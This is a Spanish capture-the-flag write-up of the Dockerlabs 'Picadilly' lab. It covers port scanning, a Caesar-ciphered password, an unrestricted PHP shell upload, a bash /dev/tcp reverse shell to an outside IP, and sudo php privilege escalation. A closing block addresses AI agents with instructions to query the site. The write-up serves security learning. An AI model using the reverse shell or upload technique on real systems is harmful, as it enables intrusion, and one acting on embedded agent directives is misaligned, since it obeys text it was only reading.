# Picadilly (Easy) - Dockerlabs

## Picadilly

### Reconocimiento

Comienzo con un escaneo de puertos vía `nmap`.

```
❯ nmap -p 0-65535 --open -T5 -A -sT -Pn -n 172.17.0.2 -oX nmapScan.xml && xsltproc nmapScan.xml -o nmapScan.html && open nmapScan.html &>/dev/null & disown
```

<figure><img src="/files/VpyhcBiSqBZumuzsNjdt" alt=""><figcaption></figcaption></figure>

Esto revela dos servidores HTTP, uno en el puerto 80 y el otro en el 443, el segundo con un certificado SSL.

Al visitar el del puerto 80 me encuentro con el siguiente texto:

```
/// The users mateo password is ////


----------- hdvbfuadcb ------------

"To solve this riddle, think of an ancient Roman emperor and his simple method of shifting letters."

////////////////////////////////////
```

Asumo que se refiere al cifrado César, así que pruebo a decodificarlo y encuentro lo que podría ser la contraseña. Como aparentemente no hay nada más, voy a visitar el del puerto 443.

Parece una especie de foro, la página tiene un formulario de subida de archivos, estos luego se muestran en forma de entrada en el blog.

<figure><img src="/files/QVKloUiXaLbp3Cw1LqJn" alt=""><figcaption></figcaption></figure>

### Explotación

Subo un archivo llamado `shell.php` y no hay ningún control que me lo impide, este se muestra como entrada del blog con normalidad. Probando el típico directorio donde se pueden ver los archivos visito `/uploads` y ahí está la shell, me pongo en escucha con `nc -nvlp 443` y al clicar en el archivo desde el navegador y volver a la terminal veo que ya estoy dentro como root.

<figure><img src="/files/daXnL6sF0NMGzlRpEVFn" alt=""><figcaption></figcaption></figure>

### Post-explotación

En primer lugar, sanitizo la shell

<figure><img src="/files/MIaO7exA0iOkhMHcZh9G" alt=""><figcaption></figcaption></figure>

Con `cat /etc/passwd`, verifico que el usuario mateo existe, cuando veo que si utilizo la contraseña previamente descifrada para pivotar con éxito

<figure><img src="/files/ykcb5SjenMwyDkSouZPX" alt=""><figcaption></figcaption></figure>

Autenticado como mateo, me paso la shell a otra consola para tenerla más limpia.

```sh
bash -i >& /dev/tcp/192.168.1.157/444 0>&1
```

Ya con una terminal en condiciones, miro si hay algún vector de escalada sencillo con `sudo -l`, veo que el binario `php` puede ejecutarse con permisos superiores, una búsqueda rápida en GTFObins y laboratorio resuelto

<figure><img src="/files/In5cVoGjC3nchBQEyvDO" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://galizaragozadev.gitbook.io/galizaragozadev-docs/writeups/dockerlabs/picadilly-easy-dockerlabs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
